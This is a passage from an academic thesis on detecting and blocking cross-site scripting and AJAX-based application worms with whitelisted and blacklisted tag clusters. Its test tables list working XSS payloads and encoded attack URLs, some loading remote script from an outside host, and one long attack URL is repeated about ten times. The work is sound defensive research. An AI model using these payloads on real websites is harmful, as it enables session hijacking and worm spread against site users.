 <attributeName>src</attributeName> 

    <ClassName>handleContent</ClassName> 

  </Tag> 
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</TagCluster> 

</WhiteList> 

5.5 Evaluation of the approach 

We have adopted two approaches to test our solution. First, the solution is applied on a 

banking web application and tested for its performance with and without the behavior 

based anomaly detection procedure.  

5.5.1 Test data 

Around 1500 lines of code have been developed and also 108 unique XSS test cases are 

created to test this approach. This approach is also tested with about 2200 vulnerable 

input data collected from various research sites and in the white hat hackers’ site where 

the proof of code is provided for XSS vulnerability. The list of vulnerable web pages and 

the test cases are available for researchers and they can contact the authors through email 

to get the list. Out of 2200 XSS vulnerable web pages found, around 160 web sites are 

SSL protected banking applications.  

5.5.2 Metric on Testing 

The proposed solution has been tested with 6000 malicious inputs and 5000 non-

vulnerable input with white listed tags. The average time has been taken for 10 cycles of 

execution of each approach and the results are presented in table 16. The average time is 

taken because there are minor variations found in the time of completion of each run as 

the execution depends on the operating system, and the other processes that run in the 

machine during the process of testing.  

 

The performance has been observed by logging the time of the verifier process before it 

initiates the vulnerability assessment and after the status is received from the threads. The 

approach is tested in a Pentium 4, 256 MB RAM and 1.69GHz.machine.  
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Though the vulnerable input collected is around 2000, the authors increased the data by 

deriving the combinations of vulnerability for the remaining 4000 vulnerable input to test 

the performance speed of the proposed approach. The approach is also tested by a random 

generator program that picks the vulnerable and non vulnerable inputs from a file of 

about 5000 inputs for an average of 10 runs and the results are presented in Table 16. 

 

Table 16:  Before and after the security mechanisms are applied. 

 Vulnerable input 

processing time in 

mill seconds to 

process 6000 

vulnerable inputs 

Non vulnerable 

input processing 

time in 

milliseconds to 

process 5000 

inputs 

Random generator 

program test for 5000 

inputs, represented in 

milliseconds with a 

mixture of vulnerable 

and non vulnerable 

inputs. 

Security 

Mechanisms 

applied 

2100 549 850 

No Security 

Mechanisms 

applied 

2000 500 836 

5.5.3 Performance details 

It has been observed that there is an increase in the processing time to process a single 

vulnerable input request from 0.33 to 0.35 milliseconds after the implementation of the 

security mechanisms, which is 0.016 milliseconds increase per request, which is a very 

minor increase in the processing time. To process a non-vulnerable input, on an average 

the proposed system takes .008 milliseconds higher than the system with out the security 

mechanisms implemented. The authors perceive that the performance could be improved 

by stopping the verifier process once the vulnerability is detected. Also, the authors are 
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working towards reducing the processing time by using other parsers which could 

maximize the process utilization.  

 

During the processing of testing it has been observed that more than 100 variants of XSS 

attacks exist and the approach is tested with the data collected from various research sites, 

white hat and black hat sites. 

5.5.4 Test Results 

 The following are few of the test conditions tested in the input fields of the web page: 

Table 17: Test Result excerpts 

Sr.  number Test Condition Test Result 

1 exp/*<XSS  

STYLE='no\xss:noxss(“*//*”);  

 

xss:&#101;x&#x2F;*XSS*//*/*  

/pression(alert(“XSS”))'> 

Test condition Passed 

2 <STYLE>li {list-style-image:  

url(“javascript:alert('XSS')  

“);}</STYLE><UL><LI>XSS 

Test condition Passed 

3 <IMG  

SRC='vbscript:msgbox(“XSS”)'  

> 

Test condition Passed 

4 <LAYER  

SRC=“http://ha.ckers.org/scr  

iptlet.html”></LAYER> 

Test condition Passed 

5 <IMG  

SRC=“livescript:[code]”> 

Test condition Passed 

6 <IMG SRC=“mocha:[code]”> Test condition Passed 

7 <OBJECT  Test condition Passed. 



    

 112 

TYPE=“text/x-scriptlet”  

DATA=“http://ha.ckers.org/sc  

riptlet.html”></OBJECT> 

8 <IMG 

SRC=&#106;&#97;&#118;&#97;&#115;&

#99;&#114;&#105;&#112;&#116;&#58;&

#97;&#108;&#101;&#114;&#116;&#40;&

#39;&#88;&#83;&#83;&#39;&#41;> 

False negative, as the input 

is completely encoded.  

 

The values generated out of the log files of the implemented solution are given in Table 

18. The results of 3 masked web sites are presented as case studies, which have unique 

vulnerabilities.  It can be noted that the HEX value of the ASCII character is prefixed 

with the “%” character indicating that it is an encoded attack.  

5.5.5 Implementation results 

Table 18: Implementation results 

Sr. no Home page of 

the application 

Vulnerable web page input Action carried out 

1 Banking web 

application   

http://www.samplebank.com/mark

etplace.html?method=Sort&s=&c

=-1&subc=-

1&keywords=%22%3E%3Cscript

%3Ealert+%28%27xss%27%29%

3C%2Fscript%3E&sortBy=popula

rity&i=10 

 

Reject the input and 

redirect the user to the 

error page 
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2 Finance news 

letter   

http://www. 

sampleSite.at/netautor/napro4/appl

/na_professional/parse.php?mlay_i

d=20000&mdoc_id=5000963&xm

lval_ID_DOC%5b0%5d=1067662

&xmlval_ID_KEY%5b0%5d=106

9&xmlval_DW_HEADER%5b0%

5d=popupmail&xmlval_SENDER

_NAME%5B0%5D=aa%22%3E

%3Ciframe%20src= 

http://66.102.7.147%20style=widt

h:500px;height:500px;top:0%3E 

 

Reject the input and 

redirect the user to the 

error page 

3 Security 

Metrics. 

https://www. 

sampleSite.com/eval_scan.adp?act

ion=next&mc=1&email=they+mi

ght+wanna+scan+themself%22+o

nmouseover%3D%22alert%28%2

7XSS%27%29%22+style%3D%2

2-moz-

binding%3Aurl%28%27http%3A

%2F%2Fha.ckers.org%2Fxssmoz.

xml%23xss%27%29%22&webser

 

Reject the input and 

redirect the user to the 

error page 

https://www.securitymetrics.com/eval_scan.adp?action=next&mc=1&email=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22&webserver=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22
https://www.securitymetrics.com/eval_scan.adp?action=next&mc=1&email=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22&webserver=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22
https://www.securitymetrics.com/eval_scan.adp?action=next&mc=1&email=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22&webserver=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22
https://www.securitymetrics.com/eval_scan.adp?action=next&mc=1&email=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22&webserver=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22
https://www.securitymetrics.com/eval_scan.adp?action=next&mc=1&email=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22&webserver=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22
https://www.securitymetrics.com/eval_scan.adp?action=next&mc=1&email=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22&webserver=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22
https://www.securitymetrics.com/eval_scan.adp?action=next&mc=1&email=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22&webserver=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22
https://www.securitymetrics.com/eval_scan.adp?action=next&mc=1&email=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22&webserver=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22
https://www.securitymetrics.com/eval_scan.adp?action=next&mc=1&email=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22&webserver=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22
https://www.securitymetrics.com/eval_scan.adp?action=next&mc=1&email=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22&webserver=they+might+wanna+scan+themself%22+onmouseover%3D%22alert%28%27XSS%27%29%22+style%3D%22-moz-binding%3Aurl%28%27http%3A%2F%2Fha.ckers.org%2Fxssmoz.xml%23xss%27%29%22
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ver=they+might+wanna+scan+the

mself%22+onmouseover%3D%22

alert%28%27XSS%27%29%22+s

tyle%3D%22-moz-

binding%3Aurl%28%27http%3A

%2F%2Fha.ckers.org%2Fxssmoz.

xml%23xss%27%29%22 

 

In the above examples the sites are masked not to reveal the identity of the original site 

names. 

In our approach all encoded attacks are not addresses and hence, the 8
th

 test case 

mentioned in table 18, lead to false negative, since the approach addresses basic encoding 

attacks. As of now, if the input is encoded it is rejected to avoid the threats to the system. 

The authors are working to provide an efficient solution to address encoding attacks also.   

As the solution relies on the white listed cluster, it requires careful configuration, else this 

approach could lead to more false positives.  

5.6 Conclusion 

New technologies like AJAX face severe threats due to the inherent vulnerability of the 

web applications. The proposed server side solution approach meets the need to protect 

the web applications with the perspective to improve the response time while addressing 

the XSS attacks. The proposed solution has produced highly encouraging results to 

protect the web pages from XSS attacks.  The behavior based anomaly detection 

approach for prevention of XSS threats has the following advantages:  

1. This approach allows tags to be entered in the web application and at the same 

time provide security for the web application.  
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2. Processing time is reduced by the usage of positive security model in the research. 

In the negative security model, the processing time of the server increases for 

every new threat introduced, since the input should be matched with the larger 

number of signatures as the XSS attack surface is very high. In the authors 

approach, the attack surface is minimized using the positive security model.  

3. The solution provided is highly configurable unlike other solutions provided. 

White listed cluster is configurable which is described in section 5.3.1.4.  

4. The solution is modularized, so there is a clear demarcation of functionality 

performed by each module, and hence functions can be added with least effort. 

This makes the security application maintainable.  

5. Unlike earlier works, inclusion of solution in each and every page is not required. 

The solution stays on top of the web application and does not require changes in 

the web application.  

6. Since this approach checks for only the knoWm or goodness of the input it not 

prone to zero-day attacks. Even if a new threat is introduced this approach would 

reject the input as the signature would not be knoWm in white listed cluster.  

7. Addresses basic encoded attacks. 

 

This approach needs update in the white listed cluster XML data, when a new tag needs 

to be permitted. As described earlier, the solution is applicable where high performance is 

the requirement for the application in addition to protecting the web applications from 

XSS vulnerabilities. This solution is applicable for financial and banking sites where the 

security mechanisms should be stringent with a good response time for the customer’s 

request. The following solution, “thread based intrusion and detection system” is 

applicable to the web applications like social networking sites in which the application 

level intrusions need to be detected to protect the web applications and performance is 

not the main criteria but to provide service to the customers.  

 

The solution approach developed was published in 3rd IEEE International Conference on 

Semantics, Knowledge, and Grid, to be published by IEEE Computer Society in IEEE 
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Xplore, China. The XSS Prevention system results based on this approach is published in 

the Research papers on advanced networking technologies and security issues, in 

Proceedings of AICTE Sponsored National Seminar on Advanced Networking, 

Technologies, and Security Issues (FISAT) conference Kerala, pp. 150-158, August 8
th

 – 

10
th
 2007 [240,241]. 
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Chapter 6 
 

Thread based Intrusion Detection and Prevention System for 

Cross site Vulnerabilities and Application Worms 

6.1 Introduction 

In the literature the worm is defined as infectious agents that replicate themselves and 

spread from system to system. Application worm is slightly different from the persistent 

XSS attack. It has the ability to replicate itself using the existing XSS vulnerability of the 

web application. It also has the ability to read the content of the web page and post the 

data   without the knowledge of the genuine user.   

 

The following are the sources of XSS attacks:  

  Forms used to fill up data and submit to the web applications act as source of 

XSS attacks. When the data filled up in the forms are XSS vulnerable scripts, the 

scripts get executed when the forms present the data back to the user. For 

example, search engines echo the search keyword entered when the search engine 

cannot fetch the appropriate result, and if it is a vulnerable script, then the 

vulnerable script gets executed [154,155]. 

   Web message boards that allow users to post their oWm messages [156,157]. 

 

A research report from WebCohort's Application Defense Center states that 80% [146] of 

the web applications are vulnerable to XSS attacks. Application worm takes advantage of 

these XSS vulnerabilities for self-replication. The attack involves three primary parties, 

the malicious payload, the browser (victim), and the vulnerable web pages in the web 

server. Web developers are using the combination of web technologies to provide user 

friendly web pages and to use the bandwidth effectively. Implementation of such new 

technologies increases the vulnerability of the web applications for XSS attacks. AJAX is 

one such web technology that provides wider scope for increased attacks [159-165]. 
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AJAX has got the features that help the hackers to produce the payload that can affect the 

web server and the web application users.  

 

The literature survey indicates that hackers bypass the security mechanisms laid out for 

the web application by trial and error method. New evasive mechanisms are found every 

day. To prevent such activities, the application level intrusion detection system becomes 

necessary. Hence this solution is applicable to the scenarios where: 

1. There is a need to detect the intrusions to block application worms.  

2. The security mechanisms protect the web application from zero-day attacks.  

3. Service availability.  

6.2 AJAX based application worms 

AJAX is a term coined by Jesse James Garrett during 2005[159]. AJAX stands for 

Asynchronous JavaScript and XML [144,145]. AJAX allows a web application to send 

and receive data via a XML HTTP request - with no page refreshing. AJAX includes 

AJAX-based client, which contains page-specific control logic embedded as JavaScript 

technology. The page interacts with the JavaScript, based on events,  such as a loading 

document,  a mouse click, mouse over on links or focus changes etc. [161-167].  

 

For propagation, a JavaScript needs to read the web page content, when loaded in the 

client browser. Worms can affect users thru web applications like mail, community/social 

web sites that give access to the user details.  For example, to access the mail box or a 

social networking site, the user logs in to the web application. When the mailbox is 

accessed or the social networking web page is accessed by the user, it displays the user 

id, their contact list etc in the web page. Assume the hacker lured the user to access the 

hacker’s web page by some means via an email or by sending a message to the user. 

When the user accesses the hacker’s web page, the malicious code in the hacker’s web 

page gets executed without the knowledge of the user. The malicious code reads the 

details available in the user’s web page and attaches the vulnerable code not only to the 
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user but also in the contact list of the user and hence propagates asynchronously.  

 

Asynchronous GET and POST is possible through AJAX-XMLHttpRequest (XHR) 

object, which is essential for the application worms to attach it to the web pages and 

modify the functionality based on the input provided by the hacker [168-169]. There are 

two methods of XHR object that are used to get the data and post the data to the server. 

The methods ‘Open’ and ‘Send’ are used for Asynchronous Get and Post operations.  

o Open – The parameters of this method are, ‘get or Post’, URL of the web 

application, ‘boolean flag’ to indicate the asynchronous or synchronous 

communication.  

o Send - This is used to Post the data to the server.  

Let us consider the following code which is used to read the parameters of the web page 

that is residing on the server through the script executed at the client side browser. In the 

following code, http_request is an object of XMLHttpRequest object.  

 

http_request.open ('GET', 'http: //www.someUrl/somefile.xml', true);  

http_request.send(null); 

The following code is used to post data to the web application.  

http_request.open(“post”, “www.someUrl/somefile.jsp”, true); 

http_request.send(“value1”); 

 

Now let us consider a hacker ‘A’ who gives the above JavaScript function as an input 

through the input control of the web page. The code is stored in the database as a data 

associated with hacker’s user id.  Let us consider the scenario of the genuine user ‘B’, 

who accesses the web page that contains the JavaScript of ‘A’. When the user accesses 

the web page of ‘A’, the JavaScript is executed and since it can read the parameters of the 

current page, it can get the user id and can attach the JavaScript to the genuine user by 

executing the post command described above. This process takes place without the 

knowledge of the user, as the functionality is built into the script functions. The rest of 
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the users of the application who visit the hacker’s web page and then when they visit the 

genuine user’s web pages will also be affected by the worm and thus it propagates 

exponentially.   

6.3 Damage caused by application worms 

Web servers have two resources.  

  Processing resources (CPU/RAM) 

  Bandwidth resources.   

Since the worm can generate the requests in the background through the browsers 

asynchronously, it can affect both the resources listed above and bring doWm the server. 

Most web servers can handle several hundred concurrent users under normal 

circumstance. But using the worm, a single attacker can generate enough traffic to swamp 

the web application. Though load balancer would be used to distribute the requests, it will 

be difficult for the load balancer to manage the distribution of requests, since the number 

of requests increases as the worm propagates. Thus, the exponential growth of worm 

propagation brings doWm the server ultimately.  

 

Propagation of persistent XSS attacks is horizontal, implying it can affect only those 

users who click the hacker’s link that enables the script execution. But in this case, the 

application worm propagation is both horizontal and vertical, meaning that the user as he 

or she is affected - the moment he/she visits that web page where the hackers code is 

attached,  without  doing any operation as discussed in section 6.2. Further, if other users 

visit the   victim’s web page they are also affected by the malicious code as it is attached 

to the user’s web page by the hacker. The following figure 17 explains the exponential 

growth of web application worm.  

 

Worms can also do malicious activities like locking the users’ credentials by generating 

fake requests on behalf of the user. Most web servers can handle several hundred 

concurrent users under normal circumstance. But using the worm, a single attacker can 
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generate enough traffic to swamp many applications. Though load balancers are used to 

distribute the requests, in such situations the number of requests increase beyond the 

capacity of the load balancer. . Thus, the exponential growth of worm propagation brings 

doWm the server ultimately.  

 

 

Figure 17: Exponential Growth of Worms 

 

6.4. Challenges in preventing XSS attacks and Application worms 

Application worms are not operating system dependent and hence single patch cannot be 

applied for web application worms. It is because each application worm is specifically 

written for a web application using the XSS vulnerability of that web application.  

 

Establishing a comprehensive security solution for web application worms becomes 

complicated due to the following reasons:  

1. There are quite a few tags that are allowed in web applications for formatting 

the text. Hence, simple filtering mechanisms of the tags will not help in protecting 

those web applications from XSS attacks.   

2. Application worms arise due to coding issues. The coding vulnerabilities vary 

from site to site and there is no single patch available to fix all the XSS 

vulnerabilities.  
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3. New evading mechanisms are found by the hackers every day.  

4. Web pages are not static. To increase the number of users, web application 

developers change the content of the application every day without concern for 

security mechanisms.  

5. The entry points of the vulnerable XSS web applications can be found using 

automated tools inclusive of Google [170]. 

 

Application worms’ potential has been realized during October 2005 [171-172], after the 

hack in Myspace site by the hacker called Samy. Application worms started to evolve 

during the end of 2005, and within a year it reached a rank within top 10 of web hacks 

2006 [173-174], published by Jeremiah Grossman founder and Chief Technology Officer 

of WhiteHat Security. The other famous sites affected by the application worms are 

Yahoo, Orkut – developed by Google group, MySpace and Xanga [175-179].  

 

Researchers have already warned on these new threats [180-182] that these will become 

worse as it can lead to Denial of Service attacks. Further AJAX sends multiple requests 

instead of one for each page by design, which demands more processing power. This 

demands an efficient approach that is configurable, maintainable, and flexible to support 

tags in the input while addressing the XSS vulnerabilities to prevent worms.   

 

The server side solutions proposed by earlier researches have the following limitations:  

 When a new threat is introduced the new solution needs to be developed and 

incorporated in the existing web pages.  

 As security mechanisms are tightly coupled with the web application, whenever a 

web page is introduced, the security mechanisms should also be added to the web 

page and tested for its complete functionality. This results in additional cost and 

efforts in maintaining the web application.  

 Each and every entry point in the web mechanisms application should be knoWm 
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to the security administrator to implement the security [183]. 

 All earlier research solutions are prone to zero-day attacks.  

The proposed new server based solution overcomes the above difficulties with the 

following features.  

  Configurable attack vectors and object implementation procedure for XSS 

vulnerabilities are introduced at the server level and hence the existing web pages 

need not be modified for new threats.  

  There is a need to separate out the security mechanisms and to decouple the pages 

from business logic as the overhead is high towards scalability and maintainability.  

  Detects XSS attempts and further blocks the hacking attempts by a rule based 

approach.  

  Security administrators are expected to know the entry points of all the programs 

and the input controls embedded within the input form. It is humanly not possible to 

maintain several applications knowing all the entries of a web application, 

considering the number of web pages in a web application. The solution eliminates 

the need of knowing the entry points and reduces the over head.  

  This approach protects the web application from zero-day attacks.  

 

In the literature zero-day attack is defined as an exploit that takes advantage of a newly 

discovered hole in a program or operating system before the software developer has made 

the fix available [184-188]. Vulnerability or security gaps in software component once 

discovered by researchers are announced to the developers and companies work at the 

earliest on appropriate patches to fix the vulnerability. Either these fixes, patches from the 

original software vendors or signatures that identify threats are then quickly distributed. 

Research data show zero-day exploits are increasing from 2006 as it takes few days for 

the patch to be implemented to fix the vulnerability. 
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In the literature, a model that denies all transactions by default, but uses rules to allow 

only those transactions that are knoWm to be safe is defined as a positive security model. 

In negative security model all transactions are allowed by default. Only those transactions 

that contain attacks are rejected. Our research aims to combine the positive and negative 

security model to reduce the processing time. This research takes advantage of behavior 

based anomaly detection [189-192] and Signature based threat detection on the server 

side to secure the web application. Any deviation from the allowed tags and attributes for 

the web application is flagged as a potential attack. This is referred as a positive security 

model because it seeks only to identify all “knoWm good” behavior and assumes that 

everything else is bad. Behavior anomaly detection has the potential to detect attacks of 

all kind, including “unknoWm” attacks on any web application. The signature based 

model is also called as a negative based security model and it checks for the knoWm 

threats.  

 

Since the approach checks for positive behavior [193-197], it handles zero-day attacks 

also. All the applications built on signature based approach is vulnerable to zero-day 

attacks as it takes time to release a patch once the vulnerability is detected. Recent 

research surveys show that there is an increase in the zero-day attacks since 2006 [198]. 

This demands an efficient approach on the server side, and we have combined the 

advantages of both the approaches, implemented the approach using XML in Java, and 

tested for its effectiveness on a banking application on the server side. The approach is 

promising and is found very effective compared to the earlier approaches.  

 

Further this work validates the input for its vulnerability, and if found vulnerable, 

protective or blocking mechanisms are applied which is described below. This approach 

combines the positive and negative security models to optimize the protective measures.  

 

We have carefully evaluated the already developed solutions with the existing tools like 

PHP Input Filter [199], HTML_Safe[200], StripTags [201], Kses[202], Safe HTML 

Checker [203], and HTML Purifier [206] and have developed a thread based server side 
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solution for detection and prevention of XSS. The model developed is implemented and 

tested on a banking web application. Also, it is tested with the data of around 2200 XSS 

vulnerable inputs collected from research sites, white hat and black hat sites. The model 

developed and the test results are also presented in this chapter. During the process of 

testing more than 100 variants of XSS attacks are found.  

6.5 Solution Procedure and the model developed 

The security of a computer system is compromised when an intrusion takes place. An 

intrusion can be defined [204, 205] as ‘any set of actions that attempt to compromise the 

integrity, confidentiality or availability of a resource’. In the literature, a model that 

denies all transactions by default, but uses rules to allow only those transactions that are 

knoWm to be safe is defined as positive security model. In negative security model all 

transactions are allowed by default. Only those transactions that contain attacks are 

rejected. Our approach aims to combine the positive security model and negative security 

model to reduce the processing time and to detect the XSS attempts to block the 

intrusions.  The proposed solution comprises of five components namely analyzer, parser, 

thread controller, tag clusters and intrusion detection engine.  This section describes the 

functionality of each component and the interactions between them.  

6.5.1 Analyzer 

When the input is entered in a web page and submitted by the user for processing in a 

web application, the analyzer is called to initiate the actions. When hacking attempts are 

made by the hacker, his details like IP, user id and session details are created in intrusion 

database (IDB) by the component called thread controller, which is described, in section 

6.5.3. Analyzer checks whether there are any entries present in IDB for the user when 

input is submitted in the web application. If exists, analyzer redirects the user to the error 

page. Three statuses are defined namely notice, warning and blocked. The detailed 

description about the statuses and the corresponding actions are described in section 6.5.3 

If the user id is not present in IDB, then the input is diagnosed for special character 
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existence. If special characters exist then the input is sent to the parser component, which 

is described below, for further processing to check whether the input is vulnerable. 

Otherwise the request is sent to the appropriate web page. 

6.5.2 Parser 

When there are special characters exist in the input, then the input is parsed to separate 

out the tags, its attributes, and the values. Later this is compared to the allowed tags, its 

attributes, and the data type of the tags in the web application. Parser breaks the input into 

multiple tokens such as tag, attribute, and its value for each tag present in the input. The 

parsed input is stored in the vector object and is passed to the thread controller to check 

whether the input is tainted or untainted.  Consider the following input that is sent to the 

parser.  

<IMG SRC=“JavaScript:alert('XSS');”> 

Parser would break the above input to Img, Src, and JavaScript: alert ('XSS');. This is 

stored in a vector object as a single element and passed to the thread controller 

component for further verification.  

6.5.3 Thread controller 

The thread controller is called by the parser when there are  special characters like ‘<’ or 

‘>’ exist in the input and parser sends the vector object as a parameter which is described 

above, to thread controller component. In the literature thread is defined as “lightweight 

process that provides a mean to divide the main flow of control into multiple, 

concurrently executing flows of control”. The proposed solution takes advantage of 

threads. The authors have formulated the solution of optimizing the process speed with 

the usage of threads and divided the functionality with respect to XSS in terms of tag 

clusters as described below. Further, these clusters used to detect the threats by this 

modularized approach.  The thread controller creates three threads to process the 

conditions defined in section 6.5.3.1 to assess whether the input is vulnerable. 
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6.5.3.1 Tag Clusters 

 

Tag clusters are defined to achieve the modularized approach mentioned above. The 

conditions mentioned in this section are processed simultaneously by the threads created 

by the thread controller to reduce the overall processing time to identify the vulnerability.  

 

Cluster is a term defined by the authors in this context refers the HTML tags and 

attributes. The clusters are categorized based on the functionality of the tags and 

attributes. For instance, if a tag is used to execute, the script is then categorized under 

black listed cluster.  

6.5.3.1.1. White listed cluster 

 

There are several web applications in which the tags are allowed in the input for 

formatting the user’s input. In the authors approach, the allowed tags and its attributes are 

categorized under white listed cluster.  The following is an example of white listed tag: 

<b>Some Text</b> 

6.5.3.1.2 Black Listed Cluster 

 

The tags and attributes that makes the application vulnerable for XSS attacks are 

categorized under black listed luster. These tags, if present in the input should not be 

processed by the browser and it should not be stored in the database by the web 

application. This formulates the problem of negative security model. The following is an 

example of black listed tag:   

<Script>alert(‘XSS’)</ Script > 

By using the black listed cluster, the system detects XSS hacking attempts.  

 

The tags that can also be used to inject JavaScript functions and as well as for the genuine 

functionality of the web application are also categorized under this cluster. Few tags that 

are included in this cluster needs to be checked for its attribute’s value’s vulnerability. 

For example, the image tag can contain a script as shoWm as follows:  
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<IMG SRC=“JavaScript:alert('XSS');”> 

 

Hence, the SRC attribute should be checked for the value it contains to identify the 

vulnerability. So an object is implemented to check the whether the value contains the 

picture format or does it point a JavaScript function. Such tags, categorized under this 

category, have a corresponding object implementation to see whether the tag is 

vulnerable as mentioned earlier. This is because with the presence of the tag alone, the 

input cannot be decided as untainted.  

 

After the execution of the object implementation for the tags present in input, it is 

concluded as tainted or untainted. It should be noted that not all tags in this cluster will 

have object implementation. For instance the Font tag content is not executed as a script 

by the web browser. Hence it need not be checked through object implementation. In 

such cases, the XML structure given in table 21, for object implementation will have the 

value none for these tags.  

 

The following section describes the conditions used to determine vulnerability of the 

input provided by the user. These conditions are executed by the threads created by the 

thread controller.  

Hypothesis to decide the input is tainted or untainted:  

The following definitions are made to identify the tainted or untainted input.   

Let I= {I1, I2, I3… In} be a finite set of tags in the input, provided by the user.  

Let W = {W1, W2, W3… Wm} be the finite set of White listed tags. 

             {MS1, MS2, MS3… MSk } be the corresponding set of security classes for the tag 

Wi to identify the attribute or the value of the tag content to determine whether the input 

provided is malicious. 

 

Let B = {B1, B2, B3… Bj} be the finite set of black listed tags.  
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Untainted Condition is defined as follows:  

1. Ii is untainted, if it is a subset of {W1, W2, W3… Wm} where Ii  is the tag in the 

input and  

2. Ii is untainted, when Ii disjoints with {B1, B2, B3… Bj}.  

 

Tainted Condition is defined as follows: 

1. If Ii is not a subset of Wi then it is concluded as tainted,  

2. If Ii is a subset of Bi then it is concluded as tainted and 

3. If Ii is a part of malleable tags and if security classes identify the input 

attribute as malicious, then the input is concluded as tainted.  

 

Malleable tags are defined as the tags, which cannot be categorized under either the white 

listed tags or the black listed tags, where the input tag’s attribute’s value need to be 

checked extensively using multiple security classes based on the mapping defined in the 

XML files.  

 

The above two conditions are processed by the threads described in this framework. 

Thread controller creates two threads and passes the input in the form of a vector object 

created by the parser to those thread classes. Each thread will process the input to check 

the conditions listed above i.e. White listed thread will check for the following condition:  

Ii is untainted, if it is a subset of {W1, W2, W3… Wm} where  Ii is the input tag.  

But if security classes identify the input value as malicious, then the input is concluded as 

tainted. 

Black listed thread process will check for the following condition:  

If Ii is a subset of Bi then it is concluded as tainted. 
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While processing the input, if the black listed thread or the white listed thread finds the 

input as vulnerable, then it sends the status of the input for vulnerability as ‘yes’  to the 

thread controller component. The thread controller then interrupts the other thread to stop 

the processing. The following details are sent to the IDB, so as to prevent further attacks 

by the hacker:  

 

Table 19: Parameters stored in Intrusion Database 

Parameter Description of the parameter 

User id User id of the user who attempted to hack the server 

Session Id Session id of the user.  

Attempted URL The URL in which the vulnerable input is passed.  

Input parameter Input data provided by the hacker.  

IP Hack originating IP. 

Attempted Time The date and time at which of the vulnerable input is sent to the web 

application.  

Category There are 3 categories defined by the authors, Notice, Warning and 

Block states, which are explained in Intrusion detection engine 

section.  

 

The entries made by the thread controller are read by the analyzer mentioned in section 

6.5.1 to redirect the user to the error page.  

6.5.3.1.3 Approach to reduce false positives 

 

To reduce the false positives, one more status is introduced by the authors, namely, 

‘intermediary’, in addition to ‘Yes’ and ‘No’ statuses for vulnerability which is explained 
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in the previous section. If a tag or tag’s attribute is not in white listed cluster or in black 

listed cluster then the user is redirected to the error page, but the users credentials will not 

be logged in intrusion database. This is because the input could be either vulnerable or 

non vulnerable and hence to reduce the false positives, user’s details are not logged in 

IDB. The input and the details of the user are logged in a separate file for the security 

administrators to go through the tag’s functionality and to include it either in white list or 

in black list to reduce the false positive or false negative as applicable.  

 

As can be observed the output of white listed thread and black listed thread process is 

mutually exclusive. This means if white listed thread returns the status as ‘No’  for the 

input indicating it is a untainted input, then the status of black listed thread cannot return 

the status as ‘yes’ for vulnerability. Hence if one of the thread returns the status as ‘yes’ 

for vulnerability then the other thread is interrupted to stop further processing. If white 

listed thread process sends the process output as ‘No” for vulnerability then the black 

listed thread process is interrupted as the conditions are mutually exclusive. Thus the 

processing time is reduced, since the approach does not continue the processing for all the 

tags when vulnerability is found in the input. If the input is not vulnerable, then the 

